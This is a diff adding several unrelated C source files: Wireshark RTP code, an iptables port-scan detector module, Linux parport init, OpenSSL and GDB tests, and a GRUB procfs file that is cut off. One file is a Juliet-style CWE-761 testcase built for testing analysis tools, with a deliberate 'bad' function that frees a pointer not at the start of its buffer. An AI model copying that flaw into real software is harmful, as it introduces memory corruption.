(p_ts->tm_sec % 10) + '0'; + } + buf[2] = ' '; + buf[5] = ':'; + buf[8] = ':'; + buf[11] = ' '; + buf[12] = sign[0]; + if (((sign[1] == 'E') || (sign[1] == 'W')) && + ((p_fra->dir_flag & DIR_ERROR_OFFLINE) || + (p_fra->dir_flag & DIR_ERROR_OFFL_T))) + { + buf[13] = 'O'; + } + else + { + buf[13] = sign[1]; + } + buf[14] = sign[2]; + buf[15] = ' '; + + while ((length < (MAX_LINE_LENGTH + MAX_LINE_LENGTH)) && (*ptr != '\0')) + { + buf[length] = *ptr; + ptr++; length++; + } + while ((length - DIR_ALIAS_OFFSET) < MAX_DIR_ALIAS_LENGTH) + { + buf[length] = ' '; + length++; + } + buf[length] = ':'; + buf[length + 1] = ' '; + length += 2; + + va_start(ap, fmt); + length += vsnprintf(&buf[length], + (MAX_LINE_LENGTH + MAX_LINE_LENGTH) - length, fmt, ap); + va_end(ap); + + if (length > (MAX_LINE_LENGTH + MAX_LINE_LENGTH)) + { + length = MAX_LINE_LENGTH + MAX_LINE_LENGTH; + } + + if ((file == NULL) || (line == 0) || + (length >= (MAX_LINE_LENGTH + MAX_LINE_LENGTH))) + { + buf[length] = '\n'; + length += 1; + } + else + { + length += snprintf(&buf[length], + (MAX_LINE_LENGTH + MAX_LINE_LENGTH) - length, + " (%s %d)\n", file, line); + if (length > (MAX_LINE_LENGTH + MAX_LINE_LENGTH)) + { + length = MAX_LINE_LENGTH + MAX_LINE_LENGTH; + buf[length] = '\n'; + length += 1; + } + } + + if (write(receive_log_fd, buf, length) != length) + { + system_log(ERROR_SIGN, __FILE__, __LINE__, + "write() error : %s", strerror(errno)); + } + errno = tmp_errno; + + return; +} diff --git a/pool/shard011/C/0141721_v3ext.c b/pool/shard011/C/0141721_v3ext.c new file mode 100644 index 0000000000000000000000000000000000000000..cc14fd2d9ede4092d5c7dce4f1c474573455d718 --- /dev/null +++ b/pool/shard011/C/0141721_v3ext.c @@ -0,0 +1,54 @@ +/* + * Copyright 2016-2020 The OpenSSL Project Authors. All Rights Reserved. + * + * Licensed under the Apache License 2.0 (the "License"). You may not use + * this file except in compliance with the License. You can obtain a copy + * in the file LICENSE in the source distribution or at + * https://www.openssl.org/source/license.html + */ + +#include +#include +#include +#include +#include + +#include "testutil.h" + +static const char *infile; + +static int test_pathlen(void) +{ + X509 *x = NULL; + BIO *b = NULL; + long pathlen; + int ret = 0; + + if (!TEST_ptr(b = BIO_new_file(infile, "r")) + || !TEST_ptr(x = PEM_read_bio_X509(b, NULL, NULL, NULL)) + || !TEST_int_eq(pathlen = X509_get_pathlen(x), 6)) + goto end; + + ret = 1; + +end: + BIO_free(b); + X509_free(x); + return ret; +} + +OPT_TEST_DECLARE_USAGE("cert.pem\n") + +int setup_tests(void) +{ + if (!test_skip_common_options()) { + TEST_error("Error parsing test options\n"); + return 0; + } + + if (!TEST_ptr(infile = test_get_argument(0))) + return 0; + + ADD_TEST(test_pathlen); + return 1; +} diff --git a/pool/shard011/C/0141722_rtp_stream.c b/pool/shard011/C/0141722_rtp_stream.c new file mode 100644 index 0000000000000000000000000000000000000000..9eb8d8c2a431ad5dc920e99919bd12f3b38b092f --- /dev/null +++ b/pool/shard011/C/0141722_rtp_stream.c @@ -0,0 +1,206 @@ +/* rtp_stream.c + * RTP streams summary addition for Wireshark + * + * Copyright 2003, Alcatel Business Systems + * By Lars Ruoff + * + * Wireshark - Network traffic analyzer + * By Gerald Combs + * Copyright 1998 Gerald Combs + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + */ + +#include "config.h" + +#include +#include +#include + +#ifdef HAVE_FCNTL_H +#include +#endif + +#include +#include +#include +#include +#include + +#include "../globals.h" +#include "ui/alert_box.h" +#include "ui/simple_dialog.h" +#include "ui/rtp_stream.h" +#include "ui/tap-rtp-common.h" +#include + +#include "ui/rtp_stream.h" +#include "ui/gtk/rtp_stream_dlg.h" +#include "ui/gtk/main.h" + +/* The one and only global rtpstream_tapinfo_t structure for tshark and wireshark. + */ +static rtpstream_tapinfo_t the_tapinfo_struct = + {0, NULL, 0, TAP_ANALYSE, NULL, NULL, NULL, 0, FALSE}; + + +/****************************************************************************/ +/* redraw the output */ +static void rtpstream_draw(void *arg _U_) +{ +/* XXX: see rtpstream_on_update in rtp_streams_dlg.c for comments + g_signal_emit_by_name(top_level, "signal_rtpstream_update"); +*/ + rtpstream_dlg_update(the_tapinfo_struct.strinfo_list); + return; +} + + +/****************************************************************************/ +/* scan for RTP streams */ +void rtpstream_scan(void) +{ + gboolean was_registered = the_tapinfo_struct.is_registered; + if (!the_tapinfo_struct.is_registered) + register_tap_listener_rtp_stream(); + + the_tapinfo_struct.mode = TAP_ANALYSE; + cf_retap_packets(&cfile); + + if (!was_registered) + remove_tap_listener_rtp_stream(); +} + + +/****************************************************************************/ +/* save rtp dump of stream_fwd */ +gboolean rtpstream_save(rtp_stream_info_t* stream, const gchar *filename) +{ + gboolean was_registered = the_tapinfo_struct.is_registered; + /* open file for saving */ + the_tapinfo_struct.save_file = ws_fopen(filename, "wb"); + if (the_tapinfo_struct.save_file==NULL) { + open_failure_alert_box(filename, errno, TRUE); + return FALSE; + } + + rtp_write_header(stream, the_tapinfo_struct.save_file); + if (ferror(the_tapinfo_struct.save_file)) { + write_failure_alert_box(filename, errno); + fclose(the_tapinfo_struct.save_file); + return FALSE; + } + + if (!the_tapinfo_struct.is_registered) + register_tap_listener_rtp_stream(); + + the_tapinfo_struct.mode = TAP_SAVE; + the_tapinfo_struct.filter_stream_fwd = stream; + cf_retap_packets(&cfile); + the_tapinfo_struct.mode = TAP_ANALYSE; + + if (!was_registered) + remove_tap_listener_rtp_stream(); + + if (ferror(the_tapinfo_struct.save_file)) { + write_failure_alert_box(filename, errno); + fclose(the_tapinfo_struct.save_file); + return FALSE; + } + + if (fclose(the_tapinfo_struct.save_file) == EOF) { + write_failure_alert_box(filename, errno); + return FALSE; + } + return TRUE; +} + + +/****************************************************************************/ +/* mark packets in stream_fwd or stream_rev */ +void rtpstream_mark(rtp_stream_info_t* stream_fwd, rtp_stream_info_t* stream_rev) +{ + gboolean was_registered = the_tapinfo_struct.is_registered; + if (!the_tapinfo_struct.is_registered) + register_tap_listener_rtp_stream(); + + the_tapinfo_struct.mode = TAP_MARK; + the_tapinfo_struct.filter_stream_fwd = stream_fwd; + the_tapinfo_struct.filter_stream_rev = stream_rev; + cf_retap_packets(&cfile); + the_tapinfo_struct.mode = TAP_ANALYSE; + + if (!was_registered) + remove_tap_listener_rtp_stream(); +} + + +/****************************************************************************/ +const rtpstream_tapinfo_t* rtpstream_get_info(void) +{ + return &the_tapinfo_struct; +} + + +/****************************************************************************/ +/* TAP INTERFACE */ +/****************************************************************************/ + +/****************************************************************************/ +void +remove_tap_listener_rtp_stream(void) +{ + if (the_tapinfo_struct.is_registered) { + remove_tap_listener(&the_tapinfo_struct); + + the_tapinfo_struct.is_registered = FALSE; + } +} + + +/****************************************************************************/ +void +register_tap_listener_rtp_stream(void) +{ + GString *error_string; + + if (!the_tapinfo_struct.is_registered) { + error_string = register_tap_listener("rtp", &the_tapinfo_struct, + NULL, 0, rtpstream_reset_cb, rtpstream_packet, + rtpstream_draw); + + if (error_string != NULL) { + simple_dialog(ESD_TYPE_ERROR, ESD_BTN_OK, + "%s", error_string->str); + g_string_free(error_string, TRUE); + exit(1); + } + + the_tapinfo_struct.is_registered = TRUE; + } +} + +/* + * Editor modelines - http://www.wireshark.org/tools/modelines.html + * + * Local variables: + * c-basic-offset: 4 + * tab-width: 8 + * indent-tabs-mode: nil + * End: + * + * vi: set shiftwidth=4 tabstop=8 expandtab: + * :indentSize=4:tabSize=8:noTabs=true: + */ diff --git a/pool/shard011/C/0141723_ipt_pl_psd.c b/pool/shard011/C/0141723_ipt_pl_psd.c new file mode 100644 index 0000000000000000000000000000000000000000..b2b54248ff591588d7ea005838b632cf99220cf4 --- /dev/null +++ b/pool/shard011/C/0141723_ipt_pl_psd.c @@ -0,0 +1,106 @@ +#define BUILD_MATCH +#define MODULE_DATATYPE struct ipt_psd_info +#define MODULE_NAME "psd" + +#define __USE_GNU +#include "../module_iface.h" +#include +#include +#include +#include + +static void setup(void *myinfo, unsigned int *nfcache) { + MODULE_DATATYPE *info = + (void *)((struct ipt_entry_match *)myinfo)->data; + + info->weight_threshold = SCAN_WEIGHT_THRESHOLD; + info->delay_threshold = SCAN_DELAY_THRESHOLD; + info->lo_ports_weight = PORT_WEIGHT_PRIV; + info->hi_ports_weight = PORT_WEIGHT_HIGH; + *nfcache |= NFC_UNKNOWN; +} + +#define PSD_WT_THRESH 1 +#define PSD_DEL_THRESH 2 +#define PSD_LP_WEIGHT 3 +#define PSD_HP_WEIGHT 4 + +static int parse_field(char *field, SV *value, void *myinfo, + unsigned int *nfcache, struct ipt_entry *entry, int *flags) { + MODULE_DATATYPE *info = + (void *)(*(MODULE_ENTRYTYPE **)myinfo)->data; + int mode = 0, psdval; + + if(!strcmp(field, "psd-weight-threshold")) + mode = PSD_WT_THRESH; + else if(!strcmp(field, "psd-delay-threshold")) + mode = PSD_DEL_THRESH; + else if(!strcmp(field, "psd-lo-ports-weight")) + mode = PSD_LP_WEIGHT; + else if(!strcmp(field, "psd-hi-ports-weight")) + mode = PSD_HP_WEIGHT; + else + return(FALSE); + + if(!SvIOK(value)) { + SET_ERRSTR("%s: Must have an integer arg", field); + return(FALSE); + } + + psdval = SvIV(value); + + if(psdval < 0 || psdval > 10000) { + SET_ERRSTR("%s: Value out of range", field); + return(FALSE); + } + + switch(mode) { + case PSD_WT_THRESH: + info->weight_threshold = psdval; + break; + case PSD_DEL_THRESH: + info->delay_threshold = psdval; + break; + case PSD_LP_WEIGHT: + info->lo_ports_weight = psdval; + break; + case PSD_HP_WEIGHT: + info->hi_ports_weight = psdval; + break; + default: + SET_ERRSTR("%s: BUG: internal inconsistency", field); + return(FALSE); + } + + return(TRUE); +} + +static void get_fields(HV *ent_hash, void *myinfo, struct ipt_entry *entry) { + MODULE_DATATYPE *info = (void *)((MODULE_ENTRYTYPE *)myinfo)->data; + + hv_store(ent_hash, "psd-weight-threshold", 20, + newSViv(info->weight_threshold), 0); + hv_store(ent_hash, "psd-delay-threshold", 19, + newSViv(info->delay_threshold), 0); + hv_store(ent_hash, "psd-lo-ports-weight", 19, + newSViv(info->lo_ports_weight), 0); + hv_store(ent_hash, "psd-hi-ports-weight", 19, + newSViv(info->hi_ports_weight), 0); +} + +static ModuleDef _module = { + .type = MODULE_TYPE, + .name = MODULE_NAME, + .size = IPT_ALIGN(sizeof(MODULE_DATATYPE)), + .size_uspace = IPT_ALIGN(sizeof(MODULE_DATATYPE)), + .setup = setup, + .parse_field = parse_field, + .get_fields = get_fields, +}; + +ModuleDef *init(void) { + return(&_module); +} + +/* vim: ts=4 + */ diff --git a/pool/shard011/C/0141724_init.c b/pool/shard011/C/0141724_init.c new file mode 100644 index 0000000000000000000000000000000000000000..b5878cf26126aa32d23c3b530c0d8ef76396e443 --- /dev/null +++ b/pool/shard011/C/0141724_init.c @@ -0,0 +1,245 @@ +/* Parallel-port initialisation code. + * + * Authors: David Campbell + * Tim Waugh + * Jose Renau + * + * based on work by Grant Guenther + * and Philip Blundell + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef MODULE +static int io[PARPORT_MAX+1] __initdata = { [0 ... PARPORT_MAX] = 0 }; +#ifdef CONFIG_PARPORT_PC +static int io_hi[PARPORT_MAX+1] __initdata = + { [0 ... PARPORT_MAX] = PARPORT_IOHI_AUTO }; +#endif +static int irq[PARPORT_MAX] __initdata = { [0 ... PARPORT_MAX-1] = PARPORT_IRQ_PROBEONLY }; +static int dma[PARPORT_MAX] __initdata = { [0 ... PARPORT_MAX-1] = PARPORT_DMA_NONE }; + +extern int parport_pc_init(int *io, int *io_hi, int *irq, int *dma); +extern int parport_sunbpp_init(void); +extern int parport_amiga_init(void); +extern int parport_mfc3_init(void); + +static int parport_setup_ptr __initdata = 0; + +/* + * Acceptable parameters: + * + * parport=0 + * parport=auto + * parport=0xBASE[,IRQ[,DMA]] + * + * IRQ/DMA may be numeric or 'auto' or 'none' + */ +static int __init parport_setup (char *str) +{ + char *endptr; + char *sep; + int val; + + if (!str || !*str || (*str == '0' && !*(str+1))) { + /* Disable parport if "parport=0" in cmdline */ + io[0] = PARPORT_DISABLE; + return 1; + } + + if (!strncmp (str, "auto", 4)) { + irq[0] = PARPORT_IRQ_AUTO; + dma[0] = PARPORT_DMA_AUTO; + return 1; + } + + val = simple_strtoul (str, &endptr, 0); + if (endptr == str) { + printk (KERN_WARNING "parport=%s not understood\n", str); + return 1; + } + + if (parport_setup_ptr == PARPORT_MAX) { + printk(KERN_ERR "parport=%s ignored, too many ports\n", str); + return 1; + } + + io[parport_setup_ptr] = val; + irq[parport_setup_ptr] = PARPORT_IRQ_NONE; + dma[parport_setup_ptr] = PARPORT_DMA_NONE; + + sep = strchr (str, ','); + if (sep++) { + if (!strncmp (sep, "auto", 4)) + irq[parport_setup_ptr] = PARPORT_IRQ_AUTO; + else if (strncmp (sep, "none", 4)) { + val = simple_strtoul (sep, &endptr, 0); + if (endptr == sep) { + printk (KERN_WARNING + "parport=%s: irq not understood\n", + str); + return 1; + } + irq[parport_setup_ptr] = val; + } + } + + sep = strchr (sep, ','); + if (sep++) { + if (!strncmp (sep, "auto", 4)) + dma[parport_setup_ptr] = PARPORT_DMA_AUTO; + else if (!strncmp (sep, "nofifo", 6)) + dma[parport_setup_ptr] = PARPORT_DMA_NOFIFO; + else if (strncmp (sep, "none", 4)) { + val = simple_strtoul (sep, &endptr, 0); + if (endptr == sep) { + printk (KERN_WARNING + "parport=%s: dma not understood\n", + str); + return 1; + } + dma[parport_setup_ptr] = val; + } + } + + parport_setup_ptr++; + return 1; +} + +__setup ("parport=", parport_setup); + +#endif + +#ifdef MODULE +int init_module(void) +{ +#ifdef CONFIG_SYSCTL + parport_default_proc_register (); +#endif + return 0; +} + +void cleanup_module(void) +{ +#ifdef CONFIG_SYSCTL + parport_default_proc_unregister (); +#endif +} + +#else + +int __init parport_init (void) +{ + if (io[0] == PARPORT_DISABLE) + return 1; + +#ifdef CONFIG_SYSCTL + parport_default_proc_register (); +#endif + +#ifdef CONFIG_PARPORT_PC + parport_pc_init(io, io_hi, irq, dma); +#endif +#ifdef CONFIG_PARPORT_AMIGA + parport_amiga_init(); +#endif +#ifdef CONFIG_PARPORT_MFC3 + parport_mfc3_init(); +#endif +#ifdef CONFIG_PARPORT_ATARI + parport_atari_init(); +#endif +#ifdef CONFIG_PARPORT_ARC + parport_arc_init(); +#endif +#ifdef CONFIG_PARPORT_SUNBPP + parport_sunbpp_init(); +#endif +#ifdef CONFIG_PARPORT_IDP + parport_idp_init(); +#endif + return 0; +} + +__initcall(parport_init); + +#endif + +/* Exported symbols for modules. */ + +EXPORT_SYMBOL(parport_claim); +EXPORT_SYMBOL(parport_claim_or_block); +EXPORT_SYMBOL(parport_release); +EXPORT_SYMBOL(parport_register_port); +EXPORT_SYMBOL(parport_announce_port); +EXPORT_SYMBOL(parport_unregister_port); +EXPORT_SYMBOL(parport_register_driver); +EXPORT_SYMBOL(parport_unregister_driver); +EXPORT_SYMBOL(parport_register_device); +EXPORT_SYMBOL(parport_unregister_device); +EXPORT_SYMBOL(parport_enumerate); +EXPORT_SYMBOL(parport_get_port); +EXPORT_SYMBOL(parport_put_port); +EXPORT_SYMBOL(parport_find_number); +EXPORT_SYMBOL(parport_find_base); +EXPORT_SYMBOL(parport_negotiate); +EXPORT_SYMBOL(parport_write); +EXPORT_SYMBOL(parport_read); +EXPORT_SYMBOL(parport_ieee1284_wakeup); +EXPORT_SYMBOL(parport_wait_peripheral); +EXPORT_SYMBOL(parport_poll_peripheral); +EXPORT_SYMBOL(parport_wait_event); +EXPORT_SYMBOL(parport_set_timeout); +EXPORT_SYMBOL(parport_ieee1284_interrupt); +EXPORT_SYMBOL(parport_ieee1284_ecp_write_data); +EXPORT_SYMBOL(parport_ieee1284_ecp_read_data); +EXPORT_SYMBOL(parport_ieee1284_ecp_write_addr); +EXPORT_SYMBOL(parport_ieee1284_write_compat); +EXPORT_SYMBOL(parport_ieee1284_read_nibble); +EXPORT_SYMBOL(parport_ieee1284_read_byte); +EXPORT_SYMBOL(parport_ieee1284_epp_write_data); +EXPORT_SYMBOL(parport_ieee1284_epp_read_data); +EXPORT_SYMBOL(parport_ieee1284_epp_write_addr); +EXPORT_SYMBOL(parport_ieee1284_epp_read_addr); +EXPORT_SYMBOL(parport_proc_register); +EXPORT_SYMBOL(parport_proc_unregister); +EXPORT_SYMBOL(parport_device_proc_register); +EXPORT_SYMBOL(parport_device_proc_unregister); +EXPORT_SYMBOL(parport_default_proc_register); +EXPORT_SYMBOL(parport_default_proc_unregister); +EXPORT_SYMBOL(parport_parse_irqs); +EXPORT_SYMBOL(parport_parse_dmas); +#ifdef CONFIG_PARPORT_1284 +EXPORT_SYMBOL(parport_open); +EXPORT_SYMBOL(parport_close); +EXPORT_SYMBOL(parport_device_id); +EXPORT_SYMBOL(parport_device_num); +EXPORT_SYMBOL(parport_device_coords); +EXPORT_SYMBOL(parport_daisy_deselect_all); +EXPORT_SYMBOL(parport_daisy_select); +EXPORT_SYMBOL(parport_daisy_init); +EXPORT_SYMBOL(parport_find_device); +EXPORT_SYMBOL(parport_find_class); +#endif + +void inc_parport_count(void) +{ +#ifdef MODULE + MOD_INC_USE_COUNT; +#endif +} + +void dec_parport_count(void) +{ +#ifdef MODULE + MOD_DEC_USE_COUNT; +#endif +} diff --git a/pool/shard011/C/0141725_CWE761_Free_Pointer_Not_at_Start_of_Buffer__wchar_t_console_42.c b/pool/shard011/C/0141725_CWE761_Free_Pointer_Not_at_Start_of_Buffer__wchar_t_console_42.c new file mode 100644 index 0000000000000000000000000000000000000000..0a547c28bb3d5cd93cbabe8a887195fce2532cc1 --- /dev/null +++ b/pool/shard011/C/0141725_CWE761_Free_Pointer_Not_at_Start_of_Buffer__wchar_t_console_42.c @@ -0,0 +1,163 @@ +/* TEMPLATE GENERATED TESTCASE FILE +Filename: CWE761_Free_Pointer_Not_at_Start_of_Buffer__wchar_t_console_42.c +Label Definition File: CWE761_Free_Pointer_Not_at_Start_of_Buffer.label.xml +Template File: source-sinks-42.tmpl.c +*/ +/* + * @description + * CWE: 761 Free Pointer not at Start of Buffer + * BadSource: console Read input from the console + * Sinks: + * GoodSink: free() memory correctly at the start of the buffer + * BadSink : free() memory not at the start of the buffer + * Flow Variant: 42 Data flow: data returned from one function to another in the same source file + * + * */ + +#include "std_testcase.h" + +#include + +#define SEARCH_CHAR L'S' + +#ifndef OMITBAD + +static wchar_t * badSource(wchar_t * data) +{ + { + /* Read input from the console */ + size_t dataLen = wcslen(data); + /* if there is room in data, read into it from the console */ + if (100-dataLen > 1) + { + /* POTENTIAL FLAW: Read data from the console */ + if (fgetws(data+dataLen, (int)(100-dataLen), stdin) != NULL) + { + /* The next few lines remove the carriage return from the string that is + * inserted by fgetws() */ + dataLen = wcslen(data); + if (dataLen > 0 && data[dataLen-1] == L'\n') + { + data[dataLen-1] = L'\0'; + } + } + else + { + printLine("fgetws() failed"); + /* Restore NUL terminator if fgetws fails */ + data[dataLen] = L'\0'; + } + } + } + return data; +} + +void CWE761_Free_Pointer_Not_at_Start_of_Buffer__wchar_t_console_42_bad() +{ + wchar_t * data; + data = (wchar_t *)malloc(100*sizeof(wchar_t)); + if (data == NULL) {exit(-1);} + data[0] = L'\0'; + data = badSource(data); + /* FLAW: We are incrementing the pointer in the loop - this will cause us to free the + * memory block not at the start of the buffer */ + for (; *data != L'\0'; data++) + { + if (*data == SEARCH_CHAR) + { + printLine("We have a match!"); + break; + } + } + free(data); +} + +#endif /* OMITBAD */ + +#ifndef OMITGOOD + +static wchar_t * goodB2GSource(wchar_t * data) +{ + { + /* Read input from the console */ + size_t dataLen = wcslen(data); + /* if there is room in data, read into it from the console */ + if (100-dataLen > 1) + { + /* POTENTIAL FLAW: Read data from the console */ + if (fgetws(data+dataLen, (int)(100-dataLen), stdin) != NULL) + { + /* The next few lines remove the carriage return from the string that is + * inserted by fgetws() */ + dataLen = wcslen(data); + if (dataLen > 0 && data[dataLen-1] == L'\n') + { + data[dataLen-1] = L'\0'; + } + } + else + { + printLine("fgetws() failed"); + /* Restore NUL terminator if fgetws fails */ + data[dataLen] = L'\0'; + } + } + } + return data; +} + +/* goodB2G uses the BadSource with the GoodSink */ +static void goodB2G() +{ + wchar_t * data; + data = (wchar_t *)malloc(100*sizeof(wchar_t)); + if (data == NULL) {exit(-1);} + data[0] = L'\0'; + data = goodB2GSource(data); + { + size_t i; + /* FIX: Use a loop variable to traverse through the string pointed to by data */ + for (i=0; i < wcslen(data); i++) + { + if (data[i] == SEARCH_CHAR) + { + printLine("We have a match!"); + break; + } + } + free(data); + } +} + +void CWE761_Free_Pointer_Not_at_Start_of_Buffer__wchar_t_console_42_good() +{ + goodB2G(); +} + +#endif /* OMITGOOD */ + +/* Below is the main(). It is only used when building this testcase on + its own for testing or for building a binary to use in testing binary + analysis tools. It is not used when compiling all the testcases as one + application, which is how source code analysis tools are tested. */ + +#ifdef INCLUDEMAIN + +int main(int argc, char * argv[]) +{ + /* seed randomness */ + srand( (unsigned)time(NULL) ); +#ifndef OMITGOOD + printLine("Calling good()..."); + CWE761_Free_Pointer_Not_at_Start_of_Buffer__wchar_t_console_42_good(); + printLine("Finished good()"); +#endif /* OMITGOOD */ +#ifndef OMITBAD + printLine("Calling bad()..."); + CWE761_Free_Pointer_Not_at_Start_of_Buffer__wchar_t_console_42_bad(); + printLine("Finished bad()"); +#endif /* OMITBAD */ + return 0; +} + +#endif diff --git a/pool/shard011/C/0141726_m2m_mm.c b/pool/shard011/C/0141726_m2m_mm.c new file mode 100644 index 0000000000000000000000000000000000000000..29c6244e30ddd38ed5c91331f84069d9f1b48698 --- /dev/null +++ b/pool/shard011/C/0141726_m2m_mm.c @@ -0,0 +1,98 @@ +/* + * Copyright (C) 2012 PASLab CSIE NTU. All rights reserved. + * - Chen Chun-Han + */ + +#include +#include +#include "m2m.h" +#include "m2m_internal.h" +#include "m2m_mm.h" + +/* global variables--------------*/ +int shmid; +long shm_address; +long shm_address_location; +unsigned long long SHM_SIZE; + +extern int TotalNetworkTypeDevice[3]; +extern VND GlobalVND; + +M2M_ERR_T m2m_mm_init() +{ + int level = 4; + M2M_DBG(level, MESSAGE, "Enter m2m_mm_init() ..."); + M2M_ERR_T rc = M2M_SUCCESS; + key_t key = x86_SHM_KEY; + + SHM_SIZE = TotalNetworkTypeDevice[0] * COORDINATOR_SIZE + \ + TotalNetworkTypeDevice[1] * ROUTER_SIZE + \ + TotalNetworkTypeDevice[2] * END_DEVICE_SIZE + \ + MAX_NODE_NUM * sizeof(uint64_t); + + M2M_DBG(level, MESSAGE, "COORDINATOR_SIZE = %d", COORDINATOR_SIZE); + M2M_DBG(level, MESSAGE, "ROUTER_SIZE = %d", ROUTER_SIZE); + M2M_DBG(level, MESSAGE, "END_DEVICE_SIZE = %d", END_DEVICE_SIZE); + M2M_DBG(level, MESSAGE, "Total shared memory size = %llu", SHM_SIZE); + + // get the shared memory id + if(GlobalVND.DeviceID == 1) + { + if((shmid = shmget(key, SHM_SIZE + 1000, IPC_CREAT | 0666)) < 0) + { + perror("shmget failed"); + exit(-1); + } + } + else + { + if((shmid = shmget(key, SHM_SIZE + 1000, 0666)) < 0) + { + perror("shmget failed"); + exit(-1); + } + } + + + // Attach the segment to data space + if((shm_address = shmat(shmid,NULL,0)) == (char *) -1) + { + perror("shmat failed"); + exit(-1); + } + + + shm_address_location = (long)shm_address; + M2M_DBG(level, MESSAGE,"Shared Memory Start addr = %lx \n", shm_address_location); + + M2M_DBG(level, MESSAGE, "Exit m2m_mm_init() ..."); + return rc; +} + +M2M_ERR_T m2m_mm_exit() +{ + int level = 4; + int errno; + struct shmid_ds *shmid_ds=NULL; + M2M_DBG(level, MESSAGE, "Enter m2m_mm_exit() ..."); + + if(!strcmp(GlobalVND.DeviceType, "ZC")) + { + + // Detach the shared memory + if((errno = shmdt((void *)shm_address)) == -1) + { + perror("shmdt failed"); + exit(-1); + } + if((errno = shmctl(shmid,IPC_RMID,shmid_ds)) == -1) + { + perror("shmctl failed"); + exit(-1); + } + + } + + M2M_DBG(level, MESSAGE, "Exit m2m_mm_exit() ..."); + return M2M_SUCCESS; +} diff --git a/pool/shard011/C/0141727_explicit.c b/pool/shard011/C/0141727_explicit.c new file mode 100644 index 0000000000000000000000000000000000000000..c69447deba33010683d4997b1fab91034384bcfd --- /dev/null +++ b/pool/shard011/C/0141727_explicit.c @@ -0,0 +1,71 @@ +/* This testcase is part of GDB, the GNU debugger. + + Copyright 2012-2020 Free Software Foundation, Inc. + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . */ + +extern int myfunction2 (int arg); + +static int +myfunction (int arg) +{ + int i, j, r; + + j = 0; /* myfunction location */ + r = arg; + + top: + ++j; /* top location */ + + if (j == 10) + goto done; + + for (i = 0; i < 10; ++i) + { + r += i; + if (j % 2) + goto top; + } + + done: + return r; +} + +static int +my_unique_function_name (int arg) +{ + int j = 0; + + /* Just do something random. We only care about the unique function + name. */ + if (arg == 50) + j = 10; + + return j; +} + +int +main (void) +{ + int i, j; + + /* Call the test function repeatedly, enough times for all our tests + without running forever if something goes wrong. */ + for (i = 0, j = 0; i < 1000; ++i) + j += myfunction (0); + + my_unique_function_name (j); + + return myfunction2 (j); +} diff --git a/pool/shard011/C/0141728_proc.c b/pool/shard011/C/0141728_proc.c new file mode 100644 index 0000000000000000000000000000000000000000..5911c2eb5e612e4e160066e44995d735ea6c1953 --- /dev/null +++ b/pool/shard011/C/0141728_proc.c @@ -0,0 +1,203 @@ +/* + * GRUB -- GRand Unified Bootloader + * Copyright (C) 2013 Free Software Foundation, Inc. + * + * GRUB is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * GRUB is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with GRUB. If not, see . + */ + +#include +#include +#include +#include +#include +#include +#include + +GRUB_MOD_LICENSE ("GPLv3+"); + +struct grub_procfs_entry *grub_procfs_entries; + +static int +grub_procdev_iterate (grub_disk_dev_iterate_hook_t hook, void *hook_data, + grub_disk_pull_t pull) +{ + if (pull != GRUB_DISK_PULL_NONE) + return 0; + + return hook ("proc", hook_data); +} + +static grub_err_t +grub_procdev_open (const char *name, grub_disk_t disk) +{ + if (grub_strcmp (name, "proc")) + return grub_error (GRUB_ERR_UNKNOWN_DEVICE, "not a procfs disk"); + + disk->total_sectors = 0; + disk->id = 0; + + disk->data = 0; + + return GRUB_ERR_NONE; +} + +static void +grub_procdev_close (grub_disk_t disk __attribute((unused))) +{ +} + +static grub_err_t +grub_procdev_read (grub_disk_t disk __attribute((unused)), + grub_disk_addr_t sector __attribute((unused)), + grub_size_t size __attribute((unused)), + char *buf __attribute((unused))) +{ + return GRUB_ERR_OUT_OF_RANGE; +} + +static grub_err_t +grub_procdev_write (grub_disk_t disk __attribute ((unused)), + grub_disk_addr_t sector __attribute ((unused)), + grub_size_t size __attribute ((unused)), + const char *buf __attribute ((unused))) +{ + return GRUB_ERR_OUT_OF_RANGE; +} + +struct grub_archelp_data +{ + struct grub_procfs_entry *entry, *next_entry; +}; + +static void +grub_procfs_rewind (struct grub_archelp_data *data) +{ + data->entry = NULL; + data->next_entry = grub_procfs_entries; +} + +static grub_err_t +grub_procfs_find_file (struct grub_archelp_data *data, char **name, + grub_int32_t *mtime, + grub_uint32_t *mode) +{ + data->entry = data->next_entry; + if (!data->entry) + { + *mode = GRUB_ARCHELP_ATTR_END; + return GRUB_ERR_NONE; + } + data->next_entry = data->entry->next; + *mode = GRUB_ARCHELP_ATTR_FILE | GRUB_ARCHELP_ATTR_NOTIME; + *name = grub_strdup (data->entry->name); + *mtime = 0; + if (!*name) + return grub_errno; + return GRUB_ERR_NONE; +} + +static struct grub_archelp_ops arcops = + { + .find_file = grub_procfs_find_file, + .rewind = grub_procfs_rewind + }; + +static grub_ssize_t +grub_procfs_read (grub_file_t file, char *buf, grub_size_t len) +{ + char *data = file->data; + + grub_memcpy (buf, data + file->offset, len); + + return len; +} + +static grub_err_t +grub_procfs_close (grub_file_t file) +{ + char *data; + + data = file->data; + grub_free (data); + + return GRUB_ERR_NONE; +} + +static grub_err_t +grub_procfs_dir (grub_device_t device, const char *path, + grub_fs_dir_hook_t hook, void *hook_data) +{ + struct grub_archelp_data data; + + /* Check if the disk is our dummy disk. */ + if (grub_strcmp (device->disk->name, "proc")) + return grub_error (GRUB_ERR_BAD_FS, "not a procfs"); + + grub_procfs_rewind (&data); + + return 